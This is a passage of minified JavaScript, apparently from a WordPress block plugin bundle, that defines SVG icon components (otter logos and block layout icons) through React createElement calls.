ce},popupWithImageAndText:function(){return de},postsIcon:function(){return T},progressIcon:function(){return B},reviewIcon:function(){return M},rowsCollapsed:function(){return te},searchIcon:function(){return I},sharingIcon:function(){return F},sliderIcon:function(){return R},tabsIcon:function(){return L},tabsItemIcon:function(){return O}});var o=l(9196),a=l(3967),n=l.n(a),r=l(444),i=l(5609);const s=({className:e})=>(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 29 32",width:"20",height:"20",className:n()("otter-icon",e)},(0,o.createElement)(r.Path,{d:"M19.831 7.877c0.001-0.003 0.001-0.005 0.001-0.009s-0-0.006-0.001-0.009l0 0c-0.047-0.081-0.092-0.164-0.132-0.247l-0.057-0.115c-0.277-0.498-0.381-0.99-1.033-1.064h-0.045c-0.001 0-0.002 0-0.003 0-0.486 0-0.883 0.382-0.908 0.862l-0 0.002c0.674 0.126 1.252 0.278 1.813 0.468l-0.092-0.027 0.283 0.096 0.147 0.053s0.028 0 0.028-0.011z"}),(0,o.createElement)(r.Path,{d:"M23.982 13.574c-0.008-2.41-0.14-4.778-0.39-7.112l0.026 0.299 0.070-0.019c0.459-0.139 0.787-0.558 0.787-1.053 0-0.479-0.307-0.887-0.735-1.037l-0.008-0.002h-0.026c-0.479-0.164-0.874-0.468-1.149-0.861l-0.005-0.007c-2.7-3.96-8.252-3.781-8.252-3.781s-5.55-0.179-8.25 3.781c-0.28 0.401-0.676 0.704-1.14 0.862l-0.016 0.005c-0.441 0.148-0.754 0.557-0.754 1.040 0 0.009 0 0.017 0 0.026l-0-0.001c-0 0.010-0.001 0.022-0.001 0.034 0 0.493 0.335 0.907 0.789 1.029l0.007 0.002 0.045 0.011c-0.224 2.034-0.356 4.403-0.364 6.801l-0 0.012s-9.493 13.012-1.277 17.515c4.733 2.431 6.881-0.769 6.881-0.769s1.397-1.661-1.784-3.355v-4.609c0.006-0.344 0.282-0.621 0.625-0.628h1.212v-0.59c0-0.275 0.223-0.498 0.498-0.498v0h1.665c0.274 0.001 0.496 0.224 0.496 0.498 0 0 0 0 0 0v0 0.59h2.721v-0.59c0-0.275 0.223-0.498 0.498-0.498v0h1.665c0.271 0.005 0.49 0.226 0.49 0.498 0 0 0 0 0 0v0 0.59h1.209c0 0 0 0 0 0 0.349 0 0.633 0.28 0.639 0.627v4.584c-3.193 1.703-1.784 3.355-1.784 3.355s2.148 3.193 6.879 0.769c8.222-4.503-1.269-17.515-1.269-17.515zM22.586 10.261c-0.097 1.461-0.67 2.772-1.563 3.797l0.007-0.008c-1.703 2.010-4.407 3.249-6.721 4.432v0c-2.325-1.177-5.026-2.416-6.736-4.432-0.883-1.019-1.455-2.329-1.555-3.769l-0.001-0.020c-0.126-2.22 0.583-5.929 3.044-6.74 2.416-0.788 3.947 1.288 4.494 2.227 0.152 0.258 0.429 0.428 0.745 0.428s0.593-0.17 0.743-0.424l0.002-0.004c0.551-0.932 2.080-3.008 4.494-2.22 2.474 0.805 3.174 4.513 3.046 6.734z"}),(0,o.createElement)(r.Path,{d:"M19.463 10.087h-0.028c-0.192 0.026-0.121 0.251-0.047 0.356 0.254 0.349 0.407 0.787 0.407 1.26 0 0.006-0 0.012-0 0.018v-0.001c-0.001 0.469-0.255 0.878-0.633 1.1l-0.006 0.003c-0.739 0.426-1.377-0.145-2.054-0.398-0.72-0.269-1.552-0.434-2.42-0.455l-0.009-0v-1.033c1.020-0.233 1.894-0.76 2.551-1.486l0.004-0.004c0.151-0.163 0.244-0.383 0.244-0.623 0-0.316-0.159-0.595-0.402-0.76l-0.003-0.002c-0.768-0.551-1.728-0.881-2.764-0.881-1.054 0-2.029 0.341-2.819 0.92l0.013-0.009c-0.224 0.166-0.367 0.429-0.367 0.726 0 0.226 0.083 0.433 0.221 0.591l-0.001-0.001c0.665 0.751 1.55 1.295 2.553 1.53l0.033 0.007v1.050c-0.742 0.021-1.448 0.14-2.118 0.343l0.057-0.015c-0.341 0.103-0.631 0.219-0.908 0.358l0.033-0.015c-0.519 0.26-1.037 0.436-1.58 0.121-0.371-0.213-0.617-0.607-0.617-1.058 0-0.002 0-0.004 0-0.007v0c0-0.002 0-0.004 0-0.007 0-0.47 0.153-0.905 0.411-1.257l-0.004 0.006c0.047-0.068 0.089-0.17 0.026-0.241s-0.189 0-0.27 0.030c-0.189 0.099-0.348 0.227-0.479 0.381l-0.002 0.002c-0.245 0.296-0.394 0.679-0.394 1.097 0 0.004 0 0.007 0 0.011v-0.001c0.008 0.706 0.393 1.321 0.964 1.651l0.009 0.005c0.296 0.178 0.654 0.283 1.036 0.283 0.364 0 0.706-0.095 1.001-0.263l-0.010 0.005c0.877-0.461 1.917-0.731 3.019-0.731 0.069 0 0.137 0.001 0.206 0.003l-0.010-0h0.030c1.277 0 2.382 0.266 3.266 0.775 0.27 0.159 0.594 0.253 0.94 0.253 0.001 0 0.002 0 0.003 0h-0c0.355-0.002 0.688-0.098 0.974-0.265l-0.009 0.005c0.606-0.357 1.007-1.007 1.007-1.75 0-0.001 0-0.003 0-0.004v0c0.001-0.026 0.002-0.056 0.002-0.086 0-0.625-0.34-1.171-0.846-1.462l-0.008-0.004c-0.056-0.040-0.125-0.065-0.199-0.070l-0.001-0zM13.101 8.831c-0.238 0.213-0.468 0.581-0.832 0.345-0.061-0.041-0.114-0.086-0.161-0.136l-0-0c-0.063-0.063-0.101-0.15-0.101-0.247 0-0.133 0.074-0.248 0.182-0.308l0.002-0.001c0.594-0.309 1.203-0.543 1.884-0.49-0.324 0.281-0.649 0.56-0.973 0.837z"}),(0,o.createElement)(r.Path,{d:"M15.89 13.578c-0.367 0.483-0.941 0.792-1.588 0.792s-1.221-0.309-1.585-0.787l-0.004-0.005c-0.064-0.103-0.177-0.171-0.306-0.171-0.199 0-0.36 0.161-0.36 0.36 0 0.091 0.034 0.174 0.090 0.238l-0-0c0.499 0.659 1.283 1.080 2.164 1.080s1.665-0.421 2.159-1.073l0.005-0.007c0.043-0.059 0.068-0.132 0.068-0.212 0-0.116-0.055-0.22-0.14-0.286l-0.001-0.001c-0.059-0.045-0.134-0.072-0.215-0.072-0.117 0-0.221 0.056-0.286 0.143l-0.001 0.001z"}),(0,o.createElement)(r.Path,{d:"M18.507 11.707c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,o.createElement)(r.Path,{d:"M17.389 11.049c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,o.createElement)(r.Path,{d:"M10.798 11.707c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,o.createElement)(r.Path,{d:"M11.918 11.049c0 0.194-0.157 0.351-0.351 0.351s-0.351-0.157-0.351-0.351c0-0.194 0.157-0.351 0.351-0.351s0.351 0.157 0.351 0.351z"}),(0,o.createElement)(r.Path,{d:"M8.773 7.877c-0.001-0.003-0.002-0.005-0.002-0.009s0.001-0.006 0.002-0.009l-0 0c0.047-0.081 0.089-0.164 0.132-0.247 0.019-0.038 0.036-0.079 0.057-0.115 0.275-0.498 0.379-0.99 1.033-1.064h0.045c0 0 0.001 0 0.001 0 0.487 0 0.884 0.382 0.91 0.862l0 0.002c-0.678 0.124-1.261 0.277-1.827 0.468l0.092-0.027-0.275 0.096-0.1 0.036-0.045 0.017s-0.023 0-0.023-0.011z"})),c=({className:e})=>(0,o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"20",height:"20",viewBox:"0 0 20 20",fill:"none",className:n()("otter-icon",e)},(0,o.createElement)(r.G,null,(0,o.createElement)(r.Path,{d:"M19.9877 9.42008C19.6369 9.61724 19.3785 10.0999 19.1922 10.38C19.3704 10.3719 19.6396 10.38 19.9061 10.3474C19.5651 12.7604 18.4405 14.9944 16.7053 16.7054C15.6732 17.7477 14.448 18.5791 13.098 19.1529C10.5336 20.2407 7.70811 20.2883 5.31094 19.2576C4.29167 18.8247 3.36554 18.1991 2.58336 17.4152C1.21259 16.0355 0.334714 14.2424 0.0855683 12.3136C0.478525 12.149 0.765424 11.6092 0.961223 11.3101C0.642655 11.3103 0.324535 11.334 0.00942443 11.3808C-0.100712 8.55259 1.00745 5.57482 3.29177 3.29186C6.55508 0.0285557 11.2379 -0.836221 14.8779 0.823987C14.7269 1.02115 14.6059 1.2319 14.4999 1.38827C14.7936 1.37195 15.3157 1.39643 15.6978 1.2523C16.0056 1.43293 16.3009 1.63418 16.5816 1.85465C16.515 1.95935 16.4456 2.05589 16.398 2.13747C16.534 2.13747 16.7135 2.13747 16.9106 2.12115C17.0833 2.26664 17.2533 2.42301 17.4151 2.58481C19.248 4.41906 20.0978 6.89102 19.9877 9.42008Z",fill:"#E8D3C9"}),(0,o.createElement)(r.Path,{d:"M4.32515 5.25665C3.92192 6.11059 3.77512 7.06318 3.90255 7.99889C4.02998 8.93461 4.42617 9.81325 5.04307 10.5283C5.78956 11.3645 6.80118 11.907 7.79105 12.4318C8.1473 12.6208 8.51714 12.8153 8.92097 12.8506C9.44718 12.8969 9.95843 12.6671 10.4167 12.406C11.5996 11.7357 12.6615 10.8016 13.3047 9.60365C13.9478 8.40574 14.1314 6.92774 13.6174 5.66864C13.3523 5.04048 12.9456 4.48207 12.429 4.03699C11.486 3.2291 10.2823 2.79004 9.04063 2.80101C8.43429 2.81396 7.83536 2.93698 7.273 3.16406C6.72912 3.36529 6.19611 3.39385 5.69166 3.70794C5.10339 4.08984 4.63083 4.62542 4.32515 5.25665Z",fill:"#D6AF99"}),(0,o.createElement)(r.Path,{d:"M13.1008 19.1488C12.6689 19.3318 12.2256 19.4867 11.7738 19.6125C11.5236 19.6832 11.2707 19.7485 11.0137 19.7933C10.9838 19.7933 10.9579 19.8042 10.928 19.8124C10.9172 19.811 10.9062 19.811 10.8954 19.8124C10.0118 19.9817 9.10938 20.0306 8.21268 19.9578C7.92865 19.9366 7.64591 19.9008 7.36558 19.8504C7.31397 19.8449 7.26269 19.8368 7.21193 19.826H7.19561L7.07732 19.8015C6.83665 19.7525 6.60006 19.6941 6.36483 19.6261C6.00688 19.5234 5.65582 19.398 5.31377 19.2508C5.24487 18.9778 5.20971 18.6975 5.20907 18.4159C5.15469 17.2072 5.10302 16.0024 5.05271 14.7937C5.01716 14.4481 5.04154 14.0989 5.12477 13.7616C5.18474 13.5696 5.28262 13.3916 5.41263 13.238C5.54264 13.0845 5.70213 12.9587 5.88165 12.8679C6.06118 12.7771 6.2571 12.7233 6.4578 12.7096C6.65851 12.6959 6.85992 12.7226 7.05012 12.7881C8.63555 12.5297 10.2726 12.2809 11.8336 12.6521C12.1926 12.7378 12.5692 12.8751 12.7772 13.181C12.9472 13.434 12.9689 13.7521 12.988 14.0567C13.0605 15.3104 13.133 16.5649 13.2055 17.8204C13.2327 18.2759 13.2545 18.7368 13.1008 19.1488Z",fill:"#F4816B"}),(0,o.createElement)(r.Path,{d:"M12.6452 8.15827C12.7187 7.47841 12.0361 6.85431 11.3535 6.93453C11.1316 6.97029 10.9165 7.04 10.7158 7.14121C10.5294 7.21597 10.3327 7.26182 10.1325 7.27718C9.81839 7.34244 9.5179 7.47841 9.2038 7.49745C8.93186 7.52056 8.57698 7.5532 8.31183 7.46346L7.57351 7.21599L7.40218 7.15344C7.2061 7.06715 6.99944 7.00725 6.7876 6.97532C6.01528 6.89782 5.30551 7.71228 5.5489 8.471C5.79229 9.22972 6.72777 9.36841 7.39403 9.18621C7.67413 9.11007 7.93791 8.99313 8.22345 8.92651C8.711 8.83154 9.21264 8.83523 9.69874 8.93739C10.1869 9.02169 10.6669 9.1495 11.1577 9.20933C11.7981 9.29363 12.4916 8.91563 12.6289 8.24801C12.6344 8.22082 12.6452 8.1909 12.6452 8.15827Z",fill:"#E8D3C9"}),(0,o.createElement)(r.Path,{d:"M8.21258 15.6802V19.966C7.92855 19.9448 7.64581 19.9089 7.36548 19.8586V15.6802C7.3657 15.5064 7.40363 15.3347 7.47663 15.1769C7.54964 15.0192 7.65599 14.8791 7.78835 14.7665C7.9211 14.8789 8.0278 15.0189 8.10106 15.1766C8.17432 15.3344 8.21237 15.5062 8.21258 15.6802Z",fill:"#D87768"}),(0,o.createElement)(r.Path,{d:"M11.7737 17.3839V19.6152C11.5235 19.6859 11.2706 19.7512 11.0136 19.7961C10.9837 19.7961 10.9579 19.8069 10.928 19.8151V17.3839C10.9282 16.9735 11.0787 16.5774 11.3508 16.2703C11.6236 16.5771 11.7741 16.9734 11.7737 17.3839Z",fill:"#F59085"}),(0,o.createElement)(r.Path,{d:"M7.89865 6.5035C7.82719 6.54284 7.76612 6.59863 7.72049 6.66625C7.67485 6.73387 7.64597 6.81138 7.63623 6.89238C7.6383 6.94844 7.65369 7.00321 7.68111 7.05215C7.70854 7.10109 7.74722 7.1428 7.79396 7.17384C7.88831 7.23528 7.99969 7.26527 8.11213 7.2595C8.30157 7.24621 8.4826 7.17608 8.63154 7.05826C8.78032 6.94126 8.91698 6.80962 9.03945 6.6653C9.0742 6.63585 9.10242 6.59948 9.12232 6.55851C9.14222 6.51754 9.15336 6.47287 9.15503 6.42736C9.12783 6.20164 8.78791 6.24379 8.62746 6.24243C8.36436 6.257 8.11116 6.3477 7.89865 6.5035Z",fill:"#E8D3C9"}),(0,o.createElement)(r.Path,{d:"M12.0756 6.35666C12.0763 6.35353 12.0763 6.35027 12.0756 6.34714C12.0498 6.30227 12.0253 6.2574 12.0035 6.21117C11.9926 6.19077 11.9831 6.16902 11.9709 6.14862C11.82 5.87668 11.7629 5.60473 11.4066 5.56666H11.3808C11.2524 5.56576 11.1286 5.61423 11.035 5.70204C10.9413 5.78986 10.885 5.91031 10.8777 6.03848C11.1999 6.09813 11.5179 6.17898 11.8295 6.28051L11.9845 6.33354L12.0389 6.35258L12.0647 6.36209C12.0658 6.36252 12.0669 6.36271 12.0681 6.36266C12.0692 6.36261 12.0703 6.36232 12.0714 6.36181C12.0724 6.36129 12.0733 6.36057 12.074 6.35968C12.0748 6.35879 12.0753 6.35776 12.0756 6.35666Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M14.3489 9.47719C14.3489 9.47719 14.3489 7.40363 14.1504 5.75023C14.1631 5.74517 14.1763 5.74153 14.1898 5.73935C14.3124 5.70316 14.4203 5.62893 14.4979 5.52739C14.5755 5.42585 14.6188 5.30226 14.6215 5.17449C14.6242 5.04673 14.5862 4.92141 14.513 4.81665C14.4398 4.71189 14.3352 4.63313 14.2143 4.59175H14.198C13.942 4.50432 13.7209 4.33703 13.5671 4.11449C12.8791 3.10015 11.8498 2.58346 10.9496 2.31831C10.3317 2.13562 9.69042 2.04401 9.04604 2.04637C8.35768 2.04746 7.67354 2.15384 7.01735 2.36182C6.14986 2.63377 5.18174 3.15182 4.52364 4.11721C4.36993 4.33921 4.14865 4.50564 3.89274 4.59175C3.77192 4.63227 3.6672 4.71031 3.59382 4.8145C3.52045 4.91869 3.48226 5.04358 3.48482 5.17099C3.48245 5.30229 3.52435 5.43057 3.60378 5.53516C3.6832 5.63974 3.79553 5.71454 3.92265 5.74751L3.94712 5.75566C3.88186 6.28187 3.83835 6.84343 3.81115 7.37916C3.74997 8.51724 3.74997 9.48263 3.74997 9.48263C3.74997 9.48263 1.42214 12.6535 1.22362 15.5007C1.12028 16.9216 1.54723 18.2596 3.04564 19.0795C5.63725 20.4106 6.81612 18.658 6.81612 18.658C6.81612 18.658 7.58163 17.747 5.83712 16.8196V14.3042C5.83784 14.213 5.87455 14.1259 5.93924 14.0617C6.00393 13.9975 6.09136 13.9615 6.18249 13.9615H6.84467V13.6379C6.84467 13.5658 6.87332 13.4966 6.92432 13.4456C6.97532 13.3946 7.04449 13.366 7.11661 13.366H8.02762C8.09974 13.366 8.16891 13.3946 8.21991 13.4456C8.27091 13.4966 8.29956 13.5658 8.29956 13.6379V13.9615H9.78981V13.6379C9.78981 13.5658 9.81846 13.4966 9.86946 13.4456C9.92046 13.3946 9.98962 13.366 10.0617 13.366H10.9728C11.0449 13.366 11.114 13.3946 11.165 13.4456C11.216 13.4966 11.2447 13.5658 11.2447 13.6379V13.9615H11.9082C11.9989 13.9619 12.0857 13.9981 12.1496 14.0624C12.2136 14.1266 12.2495 14.2135 12.2495 14.3042V16.8169C10.5077 17.7442 11.2746 18.6552 11.2746 18.6552C11.2746 18.6552 12.4494 20.4079 15.0437 19.0768C19.5512 16.6089 14.3489 9.47719 14.3489 9.47719ZM13.5861 7.66198C13.5354 8.43053 13.2351 9.16149 12.7309 9.7437C11.7954 10.8437 10.3187 11.5236 9.04876 12.1708C7.77607 11.5236 6.29535 10.8437 5.35715 9.7437C4.8555 9.16014 4.5564 8.42977 4.50461 7.66198C4.4339 6.4464 4.82006 4.41363 6.17433 3.97036C7.49733 3.53661 8.33627 4.67469 8.63541 5.1941C8.67753 5.26489 8.73721 5.32361 8.80867 5.36458C8.88013 5.40555 8.96096 5.42739 9.04333 5.42797C9.12588 5.42833 9.20708 5.4069 9.2787 5.36584C9.35032 5.32477 9.40984 5.26553 9.45124 5.1941C9.75717 4.67469 10.5934 3.53525 11.9178 3.97036C13.2707 4.41363 13.6541 6.4464 13.5861 7.66198Z",fill:"#87574C"}),(0,o.createElement)(r.Path,{d:"M11.9763 7.60351C11.946 7.58302 11.9108 7.57083 11.8743 7.56816H11.858C11.7533 7.58176 11.7927 7.70413 11.8335 7.7626C11.9807 7.96822 12.0583 8.21546 12.0551 8.46829C12.0541 8.59201 12.02 8.71319 11.9564 8.81932C11.8928 8.92546 11.802 9.01269 11.6935 9.072C11.2855 9.30451 10.9415 8.9945 10.569 8.85445C10.144 8.70162 9.69741 8.61762 9.24598 8.60562V8.03182C9.78596 7.91128 10.2753 7.62625 10.6465 7.21599C10.695 7.1622 10.7316 7.09864 10.7536 7.02959C10.7756 6.96053 10.7825 6.88757 10.774 6.8156C10.7655 6.74362 10.7418 6.67429 10.7043 6.61226C10.6668 6.55023 10.6165 6.49692 10.5567 6.45591C10.1115 6.14086 9.57875 5.97303 9.03329 5.97596C8.48782 5.97889 7.95695 6.15242 7.51507 6.47223C7.4601 6.51237 7.41409 6.5635 7.37994 6.62238C7.34579 6.68125 7.32427 6.74659 7.31672 6.81423C7.30918 6.88187 7.31578 6.95034 7.33612 7.01529C7.35645 7.08024 7.39007 7.14026 7.43484 7.19152C7.80594 7.6164 8.30264 7.91214 8.85302 8.0359V8.6097C8.47005 8.61985 8.09011 8.68066 7.7231 8.79054C7.55681 8.83782 7.39487 8.89923 7.23904 8.9741C6.9535 9.11007 6.66932 9.21205 6.37291 9.03937C6.26953 8.98066 6.18374 8.89535 6.12444 8.7923C6.06515 8.68925 6.03451 8.57222 6.0357 8.45333C6.03418 8.20663 6.11081 7.96578 6.25461 7.76532C6.28181 7.72725 6.30356 7.67014 6.26821 7.62935C6.23286 7.58856 6.16351 7.62935 6.12 7.64566C6.02013 7.69831 5.93146 7.7699 5.85894 7.85642C5.71284 8.02755 5.63405 8.24602 5.6373 8.47101C5.63957 8.65652 5.69034 8.8382 5.78456 8.99802C5.87878 9.15783 6.01317 9.29022 6.17439 9.38202C6.34253 9.48028 6.5333 9.5332 6.72804 9.53558C6.92277 9.53797 7.11478 9.48974 7.28527 9.39561C7.8313 9.11543 8.43948 8.97836 9.0529 8.99722C9.05781 8.99848 9.06295 8.99848 9.06786 8.99722C9.6917 8.98021 10.3091 9.12695 10.8586 9.42281C11.0173 9.51459 11.1974 9.56292 11.3807 9.56292C11.5641 9.56292 11.7442 9.51459 11.9029 9.42281C12.072 9.32549 12.2124 9.18519 12.3098 9.01612C12.4072 8.84706 12.4582 8.65525 12.4576 8.46013C12.4667 8.28643 12.4262 8.11374 12.341 7.96211C12.2558 7.81047 12.1293 7.68613 11.9763 7.60351ZM8.388 6.88014C8.25203 6.99028 8.13102 7.1956 7.9325 7.06915C7.90018 7.04675 7.87012 7.02124 7.84276 6.993C7.8218 6.97182 7.80603 6.94607 7.79669 6.91778C7.78734 6.88948 7.78467 6.85941 7.78888 6.82991C7.7931 6.80041 7.80408 6.77229 7.82098 6.74774C7.83787 6.7232 7.86022 6.70289 7.88627 6.68843C8.1967 6.4998 8.55521 6.40533 8.91829 6.41648L8.388 6.88014Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M9.915 9.48126C9.81366 9.6161 9.68234 9.72552 9.53143 9.80088C9.38052 9.87624 9.21415 9.91547 9.04547 9.91547C8.87679 9.91547 8.71042 9.87624 8.55951 9.80088C8.4086 9.72552 8.27728 9.6161 8.17593 9.48126C8.14456 9.43925 8.09778 9.41142 8.04589 9.4039C7.994 9.39638 7.94124 9.40978 7.89923 9.44115C7.85722 9.47253 7.82939 9.5193 7.82187 9.5712C7.81435 9.62309 7.82775 9.67584 7.85912 9.71785C7.99751 9.90144 8.17663 10.0504 8.38238 10.1529C8.58814 10.2555 8.81489 10.3089 9.04479 10.3089C9.27469 10.3089 9.50144 10.2555 9.7072 10.1529C9.91295 10.0504 10.0921 9.90144 10.2305 9.71785C10.246 9.69714 10.2573 9.67357 10.2637 9.64849C10.2701 9.62341 10.2716 9.59731 10.2679 9.57168C10.2642 9.54605 10.2556 9.52139 10.2424 9.49911C10.2292 9.47683 10.2117 9.45737 10.191 9.44183C10.1703 9.4263 10.1467 9.41499 10.1217 9.40857C10.0966 9.40214 10.0705 9.40072 10.0448 9.40438C10.0192 9.40804 9.99456 9.41672 9.97228 9.42991C9.95 9.4431 9.93054 9.46055 9.915 9.48126Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M11.1577 8.64913C11.2643 8.64913 11.3508 8.56268 11.3508 8.45605C11.3508 8.34941 11.2643 8.26297 11.1577 8.26297C11.051 8.26297 10.9646 8.34941 10.9646 8.45605C10.9646 8.56268 11.051 8.64913 11.1577 8.64913Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M10.5446 8.28743C10.6513 8.28743 10.7377 8.20099 10.7377 8.09435C10.7377 7.98772 10.6513 7.90128 10.5446 7.90128C10.438 7.90128 10.3516 7.98772 10.3516 8.09435C10.3516 8.20099 10.438 8.28743 10.5446 8.28743Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M6.93307 8.64913C7.0397 8.64913 7.12615 8.56268 7.12615 8.45605C7.12615 8.34941 7.0397 8.26297 6.93307 8.26297C6.82643 8.26297 6.73999 8.34941 6.73999 8.45605C6.73999 8.56268 6.82643 8.64913 6.93307 8.64913Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M7.54635 8.28743C7.65299 8.28743 7.73943 8.20099 7.73943 8.09435C7.73943 7.98772 7.65299 7.90128 7.54635 7.90128C7.43972 7.90128 7.35327 7.98772 7.35327 8.09435C7.35327 8.20099 7.43972 8.28743 7.54635 8.28743Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M6.01525 6.35664C6.01445 6.35352 6.01445 6.35025 6.01525 6.34713C6.04109 6.30226 6.06556 6.25739 6.08868 6.21115C6.09955 6.19076 6.10907 6.169 6.11995 6.14861C6.27088 5.87667 6.32799 5.60472 6.68559 5.56665H6.71007C6.83819 5.56646 6.96151 5.61543 7.05461 5.70347C7.1477 5.7915 7.20348 5.91189 7.21044 6.03983C6.88812 6.09915 6.57014 6.18 6.25864 6.28186L6.10227 6.33489L6.04789 6.35392L6.02341 6.36344C6.02341 6.36344 6.01525 6.36208 6.01525 6.35664Z",fill:"#53484A"}),(0,o.createElement)(r.Path,{d:"M13.3525 15.1282C13.3523 15.3089 13.323 15.4884 13.2655 15.6598C13.2118 15.8229 13.1363 15.9779 13.0411 16.1207C13.0003 16.1903 12.9548 16.2571 12.9051 16.3206C12.8496 16.3777 12.7911 16.4317 12.7297 16.4824L12.7066 16.5042C12.6386 16.5627 12.5625 16.617 12.4904 16.6714L12.4659 16.6905L12.436 16.7081C12.4143 16.7217 12.3966 16.7353 12.3748 16.7462C12.3531 16.7571 12.3341 16.7734 12.315 16.7843L12.2824 16.8033L12.2525 16.8196C12.2497 16.7825 12.2497 16.7453 12.2525 16.7081V15.8162C12.2525 15.4762 12.2525 15.1363 12.2525 14.7937V14.3042C12.2525 14.2135 12.2166 14.1266 12.1526 14.0624C12.0886 13.9981 12.0018 13.9619 11.9112 13.9615H11.2463V13.6379C11.2463 13.5658 11.2176 13.4966 11.1666 13.4456C11.1156 13.3946 11.0465 13.366 10.9743 13.366H10.062C9.98985 13.366 9.92068 13.3946 9.86968 13.4456C9.81868 13.4966 9.79003 13.5658 9.79003 13.6379V13.9615H8.30115V13.6379C8.30115 13.5658 8.27249 13.4966 8.2215 13.4456C8.1705 13.3946 8.10133 13.366 8.0292 13.366H7.1182C7.04607 13.366 6.9769 13.3946 6.9259 13.4456C6.8749 13.4966 6.84625 13.5658 6.84625 13.6379V13.9615H6.18271C6.13754 13.9613 6.09277 13.9701 6.05096 13.9872C6.00916 14.0043 5.97114 14.0295 5.93907 14.0613C5.907 14.0931 5.88151 14.131 5.86405 14.1726C5.8466 14.2143 5.83753 14.259 5.83735 14.3042V16.6714C5.8412 16.7167 5.8412 16.7622 5.83735 16.8074C5.62372 16.6941 5.42806 16.5498 5.25675 16.3791C5.17926 16.3062 5.11161 16.2234 5.05551 16.133C5.16311 15.994 5.26298 15.8492 5.35465 15.6992C5.22956 15.7074 5.03648 15.6992 4.8502 15.7264C4.77619 15.5342 4.73794 15.3301 4.73734 15.1241C4.7369 15.0596 4.74053 14.9951 4.74822 14.931C4.86978 14.7846 4.97936 14.6286 5.07591 14.4646H4.86923C5.34105 13.3252 7.03389 12.4699 9.04627 12.4699C10.0345 12.4547 11.0113 12.6826 11.8908 13.1335C11.8201 13.2327 11.7548 13.3333 11.7099 13.4054C11.8991 13.4057 12.0881 13.3929 12.2756 13.3673C12.9446 13.8419 13.3525 14.4551 13.3525 15.1282Z",fill:"#775049"}),(0,o.createElement)(r.Path,{d:"M4.56173 9.71378C3.03477 10.9334 1.76752 13.589 1.22363 15.5007C1.42215 12.6535 3.74182 9.47719 3.74182 9.47719C3.74182 9.47719 3.74182 8.5118 3.80301 7.37372C3.84176 7.88946 3.96677 8.39504 4.17285 8.8694C4.05771 9.01407 3.95232 9.16624 3.85739 9.32491C3.98113 9.31675 4.17829 9.3249 4.36185 9.29771C4.42983 9.43912 4.49646 9.57917 4.56173 9.71378Z",fill:"#775049"}),(0,o.createElement)(r.Path,{d:"M9.04627 2.03956C8.35791 2.04065 7.67377 2.14703 7.01758 2.35501C7.22969 2.45427 7.42549 2.55897 7.60905 2.66639C7.51251 2.79284 7.43229 2.93833 7.36566 3.03079C7.60034 3.03533 7.83478 3.01344 8.06456 2.96552C8.1611 3.03623 8.24812 3.10965 8.3365 3.18172C8.29163 3.2497 8.2522 3.31769 8.21684 3.368C8.29707 3.368 8.40448 3.368 8.52006 3.35712C8.61198 3.45013 8.69654 3.55014 8.77297 3.65626C8.79314 3.68406 8.81962 3.70669 8.85022 3.7223C8.88083 3.73791 8.91469 3.74604 8.94905 3.74604C8.9834 3.74604 9.01727 3.73791 9.04787 3.7223C9.07848 3.70669 9.10496 3.68406 9.12513 3.65626C9.46914 3.16404 10.1014 2.70446 10.9539 2.31694C10.335 2.13201 9.69228 2.03857 9.04627 2.03956Z",fill:"#775049"}),(0,o.createElement)(r.Path,{d:"M16.107 12.6372C16.035 12.4672 15.9615 12.2972 15.884 12.1354C15.6814 11.6935 15.4652 11.2856 15.2613 10.928C15.1688 10.7635 15.0804 10.6126 14.9893 10.4725C14.6209 9.85655 14.3421 9.47719 14.3421 9.47719C14.3421 9.47719 14.3421 8.5118 14.2809 7.37372C14.2211 8.31192 13.8404 9.04888 13.5222 9.71378C13.6754 9.83888 13.8268 9.97485 13.9764 10.1217C14.1123 10.2577 14.2483 10.4072 14.3748 10.5636C14.4346 10.6316 14.4876 10.6996 14.5447 10.7744C14.4455 10.9035 14.3639 11.0463 14.2973 11.1401C14.4237 11.132 14.6127 11.1401 14.7976 11.117C15.0714 11.5 15.3211 11.8997 15.5455 12.3136C15.412 12.4654 15.2936 12.6297 15.1919 12.8044C15.3894 12.805 15.5866 12.7913 15.7821 12.7636C16.2263 13.6403 16.5873 14.5566 16.8603 15.5007C16.7978 14.538 16.4878 13.5373 16.107 12.6372Z",fill:"#775049"})),(0,o.createElement)(r.Defs,null,(0,o.createElement)("clipPath",null,(0,o.createElement)(r.Rect,{width:"20",height:"19.9986",fill:"white"})))),d=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 10H4v5h16v-5ZM4 9a1 1 0 0 0-1 1v5a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-5a1 1 0 0 0-1-1H4Zm16-4H4v2h16V5ZM4 4a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1V5a1 1 0 0 0-1-1H4Zm16 14H4v2h16v-2ZM4 17a1 1 0 0 0-1 1v2a1 1 0 0 0 1 1h16a1 1 0 0 0 1-1v-2a1 1 0 0 0-1-1H4Z",clipRule:"evenodd"})),u=()=>(0,o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",className:"o-block-icon",width:"24",height:"24"},(0,o.createElement)(r.Path,{d:"M3 10a1 1 0 0 1 1-1h16a1 1 0 0 1 1 1v4a1 1 0 0 1-1 1H4a1 1 0 0 1-1-1v-4Z"}),(0,o.createElement)(r.Path,{fillRule:"evenodd",d:"M20 